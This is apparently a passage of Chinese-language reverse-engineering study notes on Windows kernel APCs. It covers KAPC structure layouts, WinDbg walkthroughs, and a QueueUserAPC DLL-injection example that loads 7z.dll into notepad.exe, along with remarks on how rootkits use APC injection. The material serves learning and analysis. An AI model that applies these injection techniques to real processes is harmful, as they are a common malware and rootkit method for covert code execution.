<ul>
<li>normal:运行在PASSIVE_LEVEL下</li>
<li>special:运行在APC_LEVEL下</li>
</ul>
<p>由于APC是运行在线程中的,所以总是会和一个ETHREAD关联</p>
<p>APC的定义如下:</p>
<div class="highlight"><pre><span></span><code><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="n">dt</span><span class="w"> </span><span class="n">nt</span><span class="o">!</span><span class="n">_KAPC</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x000</span><span class="w"> </span><span class="n">Type</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x001</span><span class="w"> </span><span class="n">SpareByte0</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x002</span><span class="w"> </span><span class="n">Size</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x003</span><span class="w"> </span><span class="n">SpareByte1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x004</span><span class="w"> </span><span class="n">SpareLong0</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Uint4B</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x008</span><span class="w"> </span><span class="n">Thread</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">_KTHREAD</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x010</span><span class="w"> </span><span class="n">ApcListEntry</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">_LIST_ENTRY</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">KernelRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x028</span><span class="w"> </span><span class="n">RundownRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x030</span><span class="w"> </span><span class="n">NormalRoutine</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="kt">void</span><span class="w"> </span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x020</span><span class="w"> </span><span class="n">Reserved</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="mi">3</span><span class="p">]</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x038</span><span class="w"> </span><span class="n">NormalContext</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x040</span><span class="w"> </span><span class="n">SystemArgument1</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x048</span><span class="w"> </span><span class="n">SystemArgument2</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Ptr64</span><span class="w"> </span><span class="n">Void</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x050</span><span class="w"> </span><span class="n">ApcStateIndex</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Char</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x051</span><span class="w"> </span><span class="n">ApcMode</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">Char</span>
<span class="w"> </span><span class="o">+</span><span class="mh">0x052</span><span class="w"> </span><span class="n">Inserted</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="n">UChar</span>
</code></pre></div>
<p>该结构体由KeInitializeApc进行初始化</p>
<div class="highlight"><pre><span></span><code><span class="n">NTKERNELAPI</span><span class="w"> </span><span class="n">VOID</span><span class="w"> </span><span class="n">KeInitializeApc</span><span class="p">(</span>
<span class="w"> </span><span class="n">PKAPC</span><span class="w"> </span><span class="n">Apc</span><span class="p">,</span>
<span class="w"> </span><span class="n">PKTHREAD</span><span class="w"> </span><span class="n">Thread</span><span class="p">,</span>
<span class="w"> </span><span class="n">KAPC_ENVIRONMENT</span><span class="w"> </span><span class="n">Environment</span><span class="p">,</span>
<span class="w"> </span><span class="n">PKKERNEL_ROUTINE</span><span class="w"> </span><span class="n">KernelRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">PKRUNDOWN_ROUTINE</span><span class="w"> </span><span class="n">RundownRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">PKNORMAL_ROUTINE</span><span class="w"> </span><span class="n">NormalRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">KPROCESSOR_MODE</span><span class="w"> </span><span class="n">ProcessorMode</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">NormalContext</span>
<span class="p">);</span>
<span class="n">NTKERNELAPI</span><span class="w"> </span><span class="n">BOOLEAN</span><span class="w"> </span><span class="n">KeInsertQueueApc</span><span class="p">(</span>
<span class="w"> </span><span class="n">PRKAPC</span><span class="w"> </span><span class="n">Apc</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">SystemArgument1</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">SystemArgument2</span><span class="p">,</span>
<span class="w"> </span><span class="n">KPRIORITY</span><span class="w"> </span><span class="n">Increment</span>
<span class="p">);</span>
</code></pre></div>
<p>Callback prototypes</p>
<div class="highlight"><pre><span></span><code><span class="n">typedef</span><span class="w"> </span><span class="n">VOID</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">PKKERNEL_ROUTINE</span><span class="p">)(</span>
<span class="w"> </span><span class="n">PKAPC</span><span class="w"> </span><span class="n">Apc</span><span class="p">,</span>
<span class="w"> </span><span class="n">PKNORMAL_ROUTINE</span><span class="w"> </span><span class="o">*</span><span class="n">NormalRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="o">*</span><span class="n">NormalContext</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="o">*</span><span class="n">SystemArgument1</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="o">*</span><span class="n">SystemArgument2</span>
<span class="p">);</span>
<span class="n">typedef</span><span class="w"> </span><span class="n">VOID</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">PKRUNDOWN_ROUTINE</span><span class="p">)(</span>
<span class="w"> </span><span class="n">PKAPC</span><span class="w"> </span><span class="n">Apc</span>
<span class="p">);</span>
<span class="n">typedef</span><span class="w"> </span><span class="n">VOID</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="n">PKNORMAL_ROUTINE</span><span class="p">)(</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">NormalContext</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">SystemArgument1</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">SystemArgument2</span>
<span class="p">);</span>
<span class="n">typedef</span><span class="w"> </span><span class="k">enum</span><span class="w"> </span><span class="n">_KAPC_ENVIRONMENT</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">OriginalApcEnvironment</span><span class="p">,</span>
<span class="w"> </span><span class="n">AttachedApcEnvironment</span><span class="p">,</span>
<span class="w"> </span><span class="n">CurrentApcEnvironment</span><span class="p">,</span>
<span class="w"> </span><span class="n">InsertApcEnvironment</span>
<span class="p">}</span><span class="w"> </span><span class="n">KAPC_ENVIRONMENT</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="n">PKAPC_ENVIRONMENT</span><span class="p">;</span>
</code></pre></div>
<p>上面的这些定义是没有文档的,书中给出来的是从别的论坛中搞的, 不保熟</p>
<div class="highlight"><pre><span></span><code><span class="n">NTKERNELAPI</span><span class="w"> </span><span class="n">VOID</span><span class="w"> </span><span class="n">KeInitializeApc</span><span class="p">(</span>
<span class="w"> </span><span class="n">PKAPC</span><span class="w"> </span><span class="n">Apc</span><span class="p">,</span>
<span class="w"> </span><span class="n">PKTHREAD</span><span class="w"> </span><span class="n">Thread</span><span class="p">,</span>
<span class="w"> </span><span class="n">KAPC_ENVIRONMENT</span><span class="w"> </span><span class="n">Environment</span><span class="p">,</span>
<span class="w"> </span><span class="n">PKKERNEL_ROUTINE</span><span class="w"> </span><span class="n">KernelRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">PKRUNDOWN_ROUTINE</span><span class="w"> </span><span class="n">RundownRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">PKNORMAL_ROUTINE</span><span class="w"> </span><span class="n">NormalRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">KPROCESSOR_MODE</span><span class="w"> </span><span class="n">ProcessorMode</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">NormalContext</span>
<span class="p">);</span>
</code></pre></div>
<p>参数说明:</p>
<ul>
<li>Apc:由调用者分配的一块buffer,从non-paged pool中分配(ExAllocatePool)</li>
<li>Thread,该apc所关联的线程</li>
<li>Environment:apc的执行环境,例如:OriginalApcEnvironment意味着apc将会运行在线程的进程context中(什么玩意儿,完全看不懂在说啥)</li>
<li>KenerlRoutine:在APC_LEVEL下以内核模式执行的函数</li>
<li>RundownRoutine:线程终止的时候,该例程将会被执行</li>
<li>NormalRoutine:在PASSIVE_LEVEL下以ProcessorMode执行的函数</li>
</ul>
<p>在KTHREAD的ApcState成员中有一个ListEntry</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_KTHREAD
...
+0x098 ApcState : _KAPC_STATE
...
kd> dt nt!_KAPC_STATE
+0x000 ApcListHead : [2] _LIST_ENTRY
+0x020 Process : Ptr64 _KPROCESS
+0x028 KernelApcInProgress : UChar
+0x029 KernelApcPending : UChar
+0x02a UserApcPending : UChar
</code></pre></div>
<p>ApcState中存储了两个队列,一个用于内核模式,另一个用于用户模式</p>
<p>这个在<a href="http://144.34.164.217/practical-reverse-engineering-notes-part-ii.html#makabakayezhendehenxihuanwo">后面的调试过程中</a>是可以观察到的:</p>
<p><code>fffffa801a332b00</code>为插入APC的线程地址</p>
<p>首先使用windbg的<code>!apc</code>命令得到内核模式和用户模式两个队列(链表)的地址,可以看到分别为<code>fffffa801a332b98</code>和<code>fffffa801a332ba8</code></p>
<div class="highlight"><pre><span></span><code><span class="n">kd</span><span class="o">></span><span class="w"> </span><span class="err">!</span><span class="n">apc</span><span class="w"> </span><span class="n">thre</span><span class="w"> </span><span class="n">fffffa801a332b00</span>
<span class="n">Thread</span><span class="w"> </span><span class="n">fffffa801a332b00</span><span class="w"> </span><span class="n">ApcStateIndex</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">ApcListHead</span><span class="w"> </span><span class="n">fffffa801a332b98</span><span class="w"> </span><span class="o">[</span><span class="n">KERNEL</span><span class="o">]</span>
<span class="n">Thread</span><span class="w"> </span><span class="n">fffffa801a332b00</span><span class="w"> </span><span class="n">ApcStateIndex</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="n">ApcListHead</span><span class="w"> </span><span class="n">fffffa801a332ba8</span><span class="w"> </span><span class="o">[</span><span class="n">USER</span><span class="o">]</span>
<span class="w"> </span><span class="n">KAPC</span><span class="w"> </span><span class="err">@</span><span class="w"> </span><span class="n">fffffa801a332090</span>
<span class="w"> </span><span class="n">Type</span><span class="w"> </span><span class="mi">12</span>
<span class="w"> </span><span class="n">KernelRoutine</span><span class="w"> </span><span class="n">fffff8007a1d4f48</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">AlpcpFreeBuffer</span><span class="o">+</span><span class="mi">0</span>
<span class="w"> </span><span class="n">RundownRoutine</span><span class="w"> </span><span class="n">fffff8007a07bc50</span><span class="w"> </span><span class="n">nt</span><span class="err">!</span><span class="n">ExFreePool</span><span class="o">+</span><span class="mi">0</span>
</code></pre></div>
<p>下面通过解析结构体来进行验证</p>
<div class="highlight"><pre><span></span><code>dt nt!_KTHREAD fffffa801a332b00
</code></pre></div>
<p>获取到ApcState成员的地址<code>0xfffffa801a332b98</code></p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_KAPC_STATE 0xfffffa801a332b98
+0x000 ApcListHead : [2] _LIST_ENTRY [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
+0x020 Process : 0xfffffa80`1ad56080 _KPROCESS
+0x028 KernelApcInProgress : 0 ''
+0x029 KernelApcPending : 0 ''
+0x02a UserApcPending : 0 ''
</code></pre></div>
<p>再查看<code>ApcListHead</code>,<strong>注意看上面的输出,第二个成员Process的偏移量为0x20,说明ApcListHead长度为0x20,即32bytes,而一个ListEntry结构体只有16字节(Flink+Blink),因此ApcListHead包含两个ListEntry</strong>,这一点从上面输出中的<code>[2]</code>也可以体现出来</p>
<div class="highlight"><pre><span></span><code>kd> dt nt!_LIST_ENTRY 0xfffffa80`1a332b98
[ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
+0x000 Flink : 0xfffffa80`1a332b98 _LIST_ENTRY [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
+0x008 Blink : 0xfffffa80`1a332b98 _LIST_ENTRY [ 0xfffffa80`1a332b98 - 0xfffffa80`1a332b98 ]
kd> dt nt!_LIST_ENTRY (0xfffffa80`1a332b98+0x10)
[ 0xfffffa80`1a3320a0 - 0xfffffa80`1a3320a0 ]
+0x000 Flink : 0xfffffa80`1a3320a0 _LIST_ENTRY [ 0xfffffa80`1a332ba8 - 0xfffffa80`1a332ba8 ]
+0x008 Blink : 0xfffffa80`1a3320a0 _LIST_ENTRY [ 0xfffffa80`1a332ba8 - 0xfffffa80`1a332ba8 ]
</code></pre></div>
<p>这两个链表,前者存储内核模式的APC,后者存储用户模式的APC,这里通过Flink获取到用户模式的APC,即KAPC结构体中ListEntry成员的地址<code>0xfffffa801a3320a0</code>,<a href="https://144.one/practical-reverse-engineering-notes-part-i.html#wozhendehenxihuanmakabaka">减去其在KAPC中的偏移量<code>0x10</code></a>即可得到APC的真正地址<code>fffffa801a332090</code></p>
<h4>使用APC实现线程挂起操作</h4>
<p>当一个程序想挂起一个线程的时候,内核会把一个APC弄到这个线程里面,准确来说是KTHREAD的SchedulerApc成员</p>
<p>使用KeInitThread函数进行初始化,然后使用KiSchedulerApc函数占用SuspendEvent事件,当程序想恢复这个线程的时候,使用KeResumeThread释放这个事件就行了</p>
<p>如果你不是在逆向Windows内核或者写内核模式下的RootKit,那么应该是碰不到使用APC的代码的</p>
<p>主要是因为这个东西他没有文档,因此很少在商业驱动中使用</p>
<p>但是在RootKit中,APC使用的相当频繁,因为可以使用APC从内核模式将代码注入到用户模式</p>
<p>RootKit的做法是将一个用户模式的APC加入到他们想要注入的进程的线程的队列中</p>
<p>这本书真尼玛离谱,啥都没讲,上来就让我写驱动使用APC</p>
<p>我在网上找到了<a href="https://repnz.github.io/posts/apc/user-apc/">这篇文章</a>,先来读一下看看</p>
<p>这篇文章中给了一个项目地址,里面有很多APC的用法,相关的代码注释我放到了<a href="https://github.com/wqreytuk/APC">这里</a>,下面是对其中一些用法的笔记</p>
<h5><a href="https://github.com/wqreytuk/APC/blob/main/ApcDllInjector/ApcDllInjector.c#L101">QueueUserAPC</a></h5>
<p>这个项目中有三个APC选项,这里先来搞一下win32,就是使用微软文档中公开的方法进行APC的插入操作</p>
<p>大概的流程就是在目标进程的虚拟地址空间中开辟出一块内存写入要加载的dll的路径,然后获取到目标进程的一个线程句柄,最后通过QueueUserAPC将一个方法插入到该线程的APC队列中</p>
<div class="highlight"><pre><span></span><code><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">QueueUserAPC</span><span class="p">((</span><span class="n">PAPCFUNC</span><span class="p">)</span><span class="w"> </span><span class="n">LoadLibraryAPtr</span><span class="p">,</span><span class="w"> </span><span class="n">ThreadHandle</span><span class="p">,</span><span class="w"> </span><span class="p">(</span><span class="n">ULONG_PTR</span><span class="p">)</span><span class="w"> </span><span class="n">RemoteLibraryAddress</span><span class="p">)</span>
</code></pre></div>
<p><code>LoadLibraryAPtr</code>是要插入的方法,<code>ThreadHandle</code>是APC要插入到的线程,<code>RemoteLibraryAddress</code>是方法的参数</p>
<p>这里选择将7z.dll注入到notepad.exe进程中</p>
<p><img alt="image-20220817160324363" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/PLOzXcNuJI.jpg"></p>
<p>为了调试方便,我在代码中加入了一个判断文件是否存在的代码,通过在debuggee中创建指定文件来触发断点</p>
<p><img alt="image-20220817160435588" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/jzhsOrEOTJ.jpg"></p>
<p><code>ApcDllInjector.exe</code>执行后会阻塞,循环检测该文件是否存在,这时候启动windbg加载<code>ApcDllInjector.pdb</code>并<a href="https://blog.csdn.net/ma_de_hao_mei_le/article/details/126051148">切换到<code>ApcDllInjector.exe</code>进程空间</a></p>
<p>在<code>QueueUserAPC</code>函数调用完成后,查看notepad.exe进程</p>
<p><img alt="image-20220817160745078" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/XvKgBOAzbx.jpg"></p>
<p>获取到线程地址后,使用<code>!apc</code>查看该线程中的APC</p>
<p><img alt="image-20220817160851974" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/kJnhSOJgdp.jpg"></p>
<p>可以清楚地看到这里显示了两个ApcListHead,一个是KERNEL,一个是USER</p>
<p>其实!apc已经给出了KAPC结构体的地址,但是通过ApcListHead的地址,也可以找到KAPC的地址</p>
<p>根据之前了解到的<a href="http://144.34.164.217/practical-reverse-engineering-notes-part-i.html#wozhendehenxihuanmakabaka">通过ListEntry定位结构体地址</a>的方法,即可计算出KAPC的地址为<code>0xfffffa801bc89720-0x10</code></p>
<p><img alt="image-20220817163023402" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/JvsYlQLQFU.jpg"></p>
<p><img alt="image-20220817163133035" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/uwpsMAkSJW.jpg"></p>
<p>可以看到Thread地址是正确的,说明地址计算无误</p>
<p>KAPC结构体中的NormalContext就是使用QueueUserAPC插入的方法,即<code>LoadLibraryA</code>函数</p>
<p>需要切换到目标进程(notepad.exe)来查看该字段</p>
<div class="highlight"><pre><span></span><code><span class="nv">kd</span><span class="o">></span><span class="w"> </span><span class="o">!</span><span class="nv">process</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="nv">notepad</span>.<span class="nv">exe</span>
<span class="nv">PROCESS</span><span class="w"> </span><span class="nv">fffffa801a19b080</span>
<span class="w"> </span><span class="nv">SessionId</span>:<span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="nv">Cid</span>:<span class="w"> </span><span class="mi">0424</span><span class="w"> </span><span class="nv">Peb</span>:<span class="w"> </span><span class="mi">7</span><span class="nv">f62186b000</span><span class="w"> </span><span class="nv">ParentCid</span>:<span class="w"> </span><span class="mi">0</span><span class="nv">ef8</span>
<span class="w"> </span><span class="nv">DirBase</span>:<span class="w"> </span><span class="mi">1</span><span class="nv">b10b000</span><span class="w"> </span><span class="nv">ObjectTable</span>:<span class="w"> </span><span class="nv">fffff8a0018e15c0</span><span class="w"> </span><span class="nv">HandleCount</span>:<span class="w"> </span><span class="o"><</span><span class="nv">Data</span><span class="w"> </span><span class="nv">Not</span><span class="w"> </span><span class="nv">Accessible</span><span class="o">></span>
<span class="w"> </span><span class="nv">Image</span>:<span class="w"> </span><span class="nv">notepad</span>.<span class="nv">exe</span>
<span class="nv">kd</span><span class="o">></span><span class="w"> </span>.<span class="nv">process</span><span class="w"> </span><span class="o">/</span><span class="nv">i</span><span class="w"> </span><span class="o">/</span><span class="nv">p</span><span class="w"> </span><span class="o">/</span><span class="nv">r</span><span class="w"> </span><span class="nv">fffffa801a19b080</span><span class="w"> </span>
<span class="nv">You</span><span class="w"> </span><span class="nv">need</span><span class="w"> </span><span class="nv">to</span><span class="w"> </span><span class="k">continue</span><span class="w"> </span><span class="nv">execution</span><span class="w"> </span><span class="ss">(</span><span class="nv">press</span><span class="w"> </span><span class="s1">'g'</span><span class="w"> </span><span class="o"><</span><span class="nv">enter</span><span class="o">></span><span class="ss">)</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">context</span>
<span class="nv">to</span><span class="w"> </span><span class="nv">be</span><span class="w"> </span><span class="nv">switched</span>.<span class="w"> </span><span class="nv">When</span><span class="w"> </span><span class="nv">the</span><span class="w"> </span><span class="nv">debugger</span><span class="w"> </span><span class="nv">breaks</span><span class="w"> </span><span class="nv">in</span><span class="w"> </span><span class="nv">again</span>,<span class="w"> </span><span class="nv">you</span><span class="w"> </span><span class="nv">will</span><span class="w"> </span><span class="nv">be</span><span class="w"> </span><span class="nv">in</span>
<span class="nv">the</span><span class="w"> </span><span class="nv">new</span><span class="w"> </span><span class="nv">process</span><span class="w"> </span><span class="nv">context</span>.
<span class="nv">kd</span><span class="o">></span><span class="w"> </span><span class="nv">g</span>
<span class="k">Break</span><span class="w"> </span><span class="nv">instruction</span><span class="w"> </span><span class="nv">exception</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nv">code</span><span class="w"> </span><span class="mi">80000003</span><span class="w"> </span><span class="ss">(</span><span class="nv">first</span><span class="w"> </span><span class="nv">chance</span><span class="ss">)</span>
<span class="nv">nt</span><span class="o">!</span><span class="nv">DbgBreakPointWithStatus</span>:
<span class="nv">fffff800</span>`<span class="mi">79</span><span class="nv">e81930</span><span class="w"> </span><span class="nv">cc</span><span class="w"> </span><span class="nv">int</span><span class="w"> </span><span class="mi">3</span>
<span class="nv">kd</span><span class="o">></span><span class="w"> </span><span class="nv">u</span><span class="w"> </span><span class="mi">0</span><span class="nv">x000007fb</span>`<span class="mi">988928</span><span class="nv">ac</span><span class="w"> </span><span class="nv">L</span><span class="w"> </span><span class="mi">20</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">ac</span><span class="w"> </span><span class="mi">48895</span><span class="nv">c2408</span><span class="w"> </span><span class="nv">mov</span><span class="w"> </span><span class="nv">qword</span><span class="w"> </span><span class="nv">ptr</span><span class="w"> </span>[<span class="nv">rsp</span><span class="o">+</span><span class="mi">8</span>],<span class="nv">rbx</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">b1</span><span class="w"> </span><span class="mi">4889742410</span><span class="w"> </span><span class="nv">mov</span><span class="w"> </span><span class="nv">qword</span><span class="w"> </span><span class="nv">ptr</span><span class="w"> </span>[<span class="nv">rsp</span><span class="o">+</span><span class="mi">10</span><span class="nv">h</span>],<span class="nv">rsi</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">b6</span><span class="w"> </span><span class="mi">57</span><span class="w"> </span><span class="nv">push</span><span class="w"> </span><span class="nv">rdi</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">b7</span><span class="w"> </span><span class="mi">4883</span><span class="nv">ec20</span><span class="w"> </span><span class="nv">sub</span><span class="w"> </span><span class="nv">rsp</span>,<span class="mi">20</span><span class="nv">h</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">bb</span><span class="w"> </span><span class="mi">488</span><span class="nv">bf9</span><span class="w"> </span><span class="nv">mov</span><span class="w"> </span><span class="nv">rdi</span>,<span class="nv">rcx</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">be</span><span class="w"> </span><span class="mi">4885</span><span class="nv">c9</span><span class="w"> </span><span class="nv">test</span><span class="w"> </span><span class="nv">rcx</span>,<span class="nv">rcx</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">c1</span><span class="w"> </span><span class="mi">7415</span><span class="w"> </span><span class="nv">je</span><span class="w"> </span><span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">d8</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">c3</span><span class="w"> </span><span class="mi">488</span><span class="nv">d1556ed0100</span><span class="w"> </span><span class="nv">lea</span><span class="w"> </span><span class="nv">rdx</span>,[<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988</span><span class="nv">b1620</span>]
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">ca</span><span class="w"> </span><span class="nv">ff15e8ac1100</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="nl">qword</span><span class="w"> </span><span class="nv">ptr</span><span class="w"> </span>[<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">989</span><span class="nv">ad5b8</span>]
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">d0</span><span class="w"> </span><span class="mi">85</span><span class="nv">c0</span><span class="w"> </span><span class="nv">test</span><span class="w"> </span><span class="nv">eax</span>,<span class="nv">eax</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">d2</span><span class="w"> </span><span class="mi">0</span><span class="nv">f84979a0800</span><span class="w"> </span><span class="nv">je</span><span class="w"> </span><span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">9891</span><span class="nv">c36f</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">d8</span><span class="w"> </span><span class="mi">4533</span><span class="nv">c0</span><span class="w"> </span><span class="nv">xor</span><span class="w"> </span><span class="nv">r8d</span>,<span class="nv">r8d</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">db</span><span class="w"> </span><span class="mi">33</span><span class="nv">d2</span><span class="w"> </span><span class="nv">xor</span><span class="w"> </span><span class="nv">edx</span>,<span class="nv">edx</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">dd</span><span class="w"> </span><span class="mi">488</span><span class="nv">bcf</span><span class="w"> </span><span class="nv">mov</span><span class="w"> </span><span class="nv">rcx</span>,<span class="nv">rdi</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">e0</span><span class="w"> </span><span class="nv">ff153abf1100</span><span class="w"> </span><span class="k">call</span><span class="w"> </span><span class="nl">qword</span><span class="w"> </span><span class="nv">ptr</span><span class="w"> </span>[<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">989</span><span class="nv">ae820</span>]
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">e6</span><span class="w"> </span><span class="mi">488</span><span class="nv">b5c2430</span><span class="w"> </span><span class="nv">mov</span><span class="w"> </span><span class="nv">rbx</span>,<span class="nv">qword</span><span class="w"> </span><span class="nv">ptr</span><span class="w"> </span>[<span class="nv">rsp</span><span class="o">+</span><span class="mi">30</span><span class="nv">h</span>]
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">eb</span><span class="w"> </span><span class="mi">488</span><span class="nv">b742438</span><span class="w"> </span><span class="nv">mov</span><span class="w"> </span><span class="nv">rsi</span>,<span class="nv">qword</span><span class="w"> </span><span class="nv">ptr</span><span class="w"> </span>[<span class="nv">rsp</span><span class="o">+</span><span class="mi">38</span><span class="nv">h</span>]
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">f0</span><span class="w"> </span><span class="mi">4883</span><span class="nv">c420</span><span class="w"> </span><span class="nv">add</span><span class="w"> </span><span class="nv">rsp</span>,<span class="mi">20</span><span class="nv">h</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">f4</span><span class="w"> </span><span class="mi">5</span><span class="nv">f</span><span class="w"> </span><span class="nv">pop</span><span class="w"> </span><span class="nv">rdi</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">f5</span><span class="w"> </span><span class="nv">c3</span><span class="w"> </span><span class="nv">ret</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">f6</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="nv">nop</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">f7</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="nv">nop</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">f8</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="nv">nop</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">f9</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="nv">nop</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">fa</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="nv">nop</span>
<span class="mi">000007</span><span class="nv">fb</span>`<span class="mi">988928</span><span class="nv">fb</span><span class="w"> </span><span class="mi">90</span><span class="w"> </span><span class="nv">nop</span>
